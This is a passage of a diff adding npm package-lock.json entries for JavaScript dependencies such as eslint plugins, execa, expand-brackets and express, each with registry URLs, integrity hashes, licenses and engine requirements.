"^2.0.0-next.3", + "semver": "^6.3.0", + "string.prototype.matchall": "^4.0.7" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.0.tgz", + "integrity": "sha512-oFc7Itz9Qxh2x4gNHStv3BqJq54ExXmfC+a1NjAta66IAN87Wu0R/QArgIS9qKzX3dXKPI9H5crl9QchNMY9+g==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.4", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.4.tgz", + "integrity": "sha512-iMDbmAWtfU+MHpxt/I5iWI7cY6YVEZUQ3MBgPQ++XD1PELuJHIl82xBmObyP2KyQmkNB2dsqF7seoQQiAn5yDQ==", + "license": "MIT", + "dependencies": { + "is-core-module": "^2.9.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-plugin-testing-library": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.5.1.tgz", + "integrity": "sha512-plLEkkbAKBjPxsLj7x4jNapcHAg2ernkQlKKrN2I8NrQwPISZHyCUNvg5Hv3EDqOQReToQb5bnqXYbkijJPE/g==", + "license": "MIT", + "dependencies": { + "@typescript-eslint/utils": "^5.13.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0", + "npm": ">=6" + }, + "peerDependencies": { + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.1.tgz", + "integrity": "sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==", + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^2.0.0" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=5" + } + }, + "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz", + "integrity": "sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==", + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/eslint-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz", + "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==", + "license": "MIT", + "dependencies": { + "@types/eslint": "^7.29.0 || ^8.4.1", + "jest-worker": "^28.0.2", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "eslint": "^7.0.0 || ^8.0.0", + "webpack": "^5.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/jest-worker": { + "version": "28.1.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-28.1.1.tgz", + "integrity": "sha512-Au7slXB08C6h+xbJPp7VIb6U0XX5Kc9uel/WFc6/rcTzGiaVCBRngBExSYuXSLFPULPSYU3cJ3ybS988lNFQhQ==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/eslint-webpack-plugin/node_modules/schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/eslint/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/eslint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/eslint/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/eslint/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/eslint/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "13.16.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.16.0.tgz", + "integrity": "sha512-A1lrQfpNF+McdPOnnFqY3kSN0AFTy485bTi1bkLk4mVPODIUEcSfhHgRqA+QdXPksrSTTztYXx37NFV+GpGk3Q==", + "license": "MIT", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/espree": { + "version": "9.3.2", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.3.2.tgz", + "integrity": "sha512-D211tC7ZwouTIuY5x9XnS0E9sWNChB7IYKX/Xp5eQj3nFXhqmiUDB9q27y76oFl8jTg3pXcQx/bpxMfs3CIZbA==", + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.7.1", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "license": "BSD-2-Clause", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", + "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==", + "license": "MIT" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/event-stream": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/event-stream/-/event-stream-3.3.4.tgz", + "integrity": "sha512-QHpkERcGsR0T7Qm3HNJSyXKEEj8AHNxkY3PK8TS2KJvQ7NiSHe3DDpwVKKtoYprL/AreyzFBeIkBIWChAqn60g==", + "dev": true, + "license": "MIT", + "dependencies": { + "duplexer": "~0.1.1", + "from": "~0", + "map-stream": "~0.1.0", + "pause-stream": "0.0.11", + "split": "0.3", + "stream-combiner": "~0.0.4", + "through": "~2.3.1" + } + }, + "node_modules/eventemitter2": { + "version": "6.4.6", + "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-6.4.6.tgz", + "integrity": "sha512-OHqo4wbHX5VbvlbB6o6eDwhYmiTjrpWACjF8Pmof/GTD6rdBNdZFNck3xlhqOiQFGCOoq3uzHvA0cQpFHIGVAQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-4.1.0.tgz", + "integrity": "sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.0", + "get-stream": "^5.0.0", + "human-signals": "^1.1.1", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.0", + "onetime": "^5.1.0", + "signal-exit": "^3.0.2", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/executable": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/executable/-/executable-4.1.1.tgz", + "integrity": "sha512-8iA79xD3uAch729dUG8xaaBBFGaEa0wdD2VkYLFHwlqosEj/jT66AzcreRDSgV7ehnNLBW2WR5jIXwGKjVdTLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.2.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/exit": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", + "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/expand-brackets/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==", + "deprecated": "Please upgrade to v0.1.7", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==", + "deprecated": "Please upgrade to v0.1.5", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/expect": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/express": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", + "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.0", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.5.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.2.0", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.10.3", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.18.0", + "serve-static": "1.15.0", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", + "license": "MIT" + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/express/node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==", + "license": "MIT" + }, + "node_modules/express/node_modules/qs": { + "version": "6.10.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", + "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/express/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": 